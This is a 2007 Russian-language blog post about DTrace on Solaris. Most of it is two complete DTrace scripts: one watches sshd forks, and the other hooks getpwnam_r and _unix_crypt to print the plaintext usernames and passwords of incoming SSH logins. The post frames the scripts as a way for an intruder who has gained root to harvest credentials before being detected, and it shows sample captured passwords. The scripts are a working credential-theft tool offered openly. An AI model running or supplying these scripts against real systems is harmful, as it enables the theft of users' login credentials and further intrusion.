Thursday, 7 June. 2007
Вернемся к разговору о недокументированных трюках с DTrace, касающихся ssh, о чем мы уже писали. Тогда мы привели пример скрипта, перехватывающего пароли исходящих ssh-коннектов. После этого возможно, кому-то показалась смешным возможность с помощью DTrace получить логины и пароли для ВХОДЯЩИХ ssh-соединений. Мол, с исходящими-то ладно, DTrace просто перехватывает локальный ввод, но со входящими такого не получится, там все закодировано и ssh-программисты не зря свой хлеб едят. А вот системный администратор Manuel Burki из Цюриха так не считает и в который раз заставляет убедиться в неограниченных возможностях DTrace.
Конечно, для всех примеров используются destructive actions, и простой пользователь не сможет ничего сделать. Предположим что некто, получивший на какое-то время (пока взлом не обнаружен и пароль root не сменен), взяв на вооружение DTrace, может за чашечкой кофе просматривать появляющиеся на консоли по мере подключения удаленных пользователей сообщения типа:
...
Username: jugin Password: jugin2341
Username: buch Password: buch1982
...
В этом случае счастливцу нет необходимости запускать к примеру JohnTheRipper - пароли сами лезут в руки.
Замечу, что приведенные ниже скрипты сразу не заработали (пришлось поэксперементировать c предикатами в первом скрипте), и потом тоже иногда пропускали коннекты, но факт налицо - я получил пароли с входящих ssh (естественно, коннектились я сам и мой коллега - конституцию мы уважаем и нарушать не собираемся  )
Cобственно, сам монитор:
#!/usr/sbin/dtrace -s
#
# monitor_sshd.d: DTrace script to catch sshd forks and call catch_ssh_pw.d
#
# Copyright (C) 2007 Manuel Burki - All rights reserved.
#
# See http://www.c0t0d1s0.org
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# - Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# - Redistributions in binary form must reproduce the above copyright notice, this
# list of conditions and the following disclaimer in the documentation and/or other
# materials provided with the package.
#
# THIS SOFTWARE IS PROVIDED 'AS IS' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT
# NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#pragma D option destructive
#pragma D option quiet
proc::cfork:create
/execname == "sshd"/
{
self->rpid++;
}
proc::cfork:create
/execname == "sshd" && self->rpid==3/
{
system("dtrace -s catch_ssh_pw.d -p %d", pid);
}
Вызываемый монитором скрипт, отлавливающий пароли:
#!/usr/sbin/dtrace -s
#
# catch_ssh_pw.d: DTrace script to catch ssh login credentials
#
# Copyright (C) 2007 Manuel Burki - All rights reserved.
#
# See http://www.c0t0d1s0.org
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# - Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# - Redistributions in binary form must reproduce the above copyright notice, this
# list of conditions and the following disclaimer in the documentation and/or other
# materials provided with the package.
#
# THIS SOFTWARE IS PROVIDED 'AS IS' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT
# NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#pragma D option destructive
#pragma D option quiet
pid$target::getpwnam_r:entry
{
self->namecount++;
}
pid$target::getpwnam_r:entry
/self->namecount == 1/
{
trace("Username: ");
trace(copyinstr(arg0));
}
pid$target::_unix_crypt:entry
{
trace(" Password: ");
trace(copyinstr(arg0));
exit(0);
}
|